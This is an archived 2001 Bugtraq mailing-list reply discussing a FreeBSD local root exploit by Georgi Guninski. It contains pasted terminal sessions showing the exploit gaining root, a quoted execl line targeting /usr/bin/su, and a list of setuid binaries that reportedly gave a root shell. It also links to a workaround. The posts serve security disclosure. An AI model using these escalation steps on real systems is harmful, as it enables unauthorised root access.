Bugtraq mailing list archives
Re: FreeBSD 4.3 local root
From: Matias Sedalo <s0t4ipv6 () shellcode com ar>
Date: Sun, 15 Jul 2001 07:17:36 -0400 (ART)
one@c0d4:/usr/home/c0d4$ uname FreeBSD one.xxx.com.ar 4.1-RELEASE FreeBSD 4.1-RELEASE one@c0d4:/usr/home/c0d4$ ./sig2 vvfreebsd. Written by Georgi Guninski shall jump to bfbffe89 child=1371 login: # done # id uid=1000(c0d4) euid=0(root) gid=20(staff) groups=20(staff) # and with : /usr/bin/chfn ;/usr/bin/chsh ;/usr/bin/ypchpass; /usr/bin/ypchfn; /usr/bin/ypchsh ;/usr/bin/keyinit ; /usr/bin/login ;/usr/bin/passwd ;/usr/libexec/sendmail/sendmail; /usr/local/bin/kcheckpass;/usr/local/bin/icmpinfo gave me suid shell too. On Wed, 11 Jul 2001, Przemyslaw Frasunek wrote:
Well, after a bunch of tests I've found only two suids which gave me suid shell: /usr/bin/passwd /usr/local/bin/ssh1/usr/bin/su also works for me: riget:venglin:~> egrep -e execl vvfreebsd.c if(!execl("/usr/bin/su","su","szymon",0)) riget:venglin:~> ./v vvfreebsd. Written by Georgi Guninski shall jump to bfbffe72 child=57660 Password:done # id uid=0(root) gid=1001(users) groups=1001(users), 99(rexec)So, quick workaround should beQuick workaround is to limit arguments, environment and filter non-ascii characters: http://www.frasunek.com/sources/security/rexec/ -- * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE * * Inet: przemyslaw () frasunek com ** PGP: D48684904685DF43EA93AFA13BE170BF *
Current thread:
- Re: FreeBSD 4.3 local root Przemyslaw Frasunek (Jul 11)
- Re: FreeBSD 4.3 local root Matias Sedalo (Jul 15)
- Re: FreeBSD 4.3 local root Foldi Tamas (Jul 15)
- Re: FreeBSD 4.3 local root Przemyslaw Frasunek (Jul 15)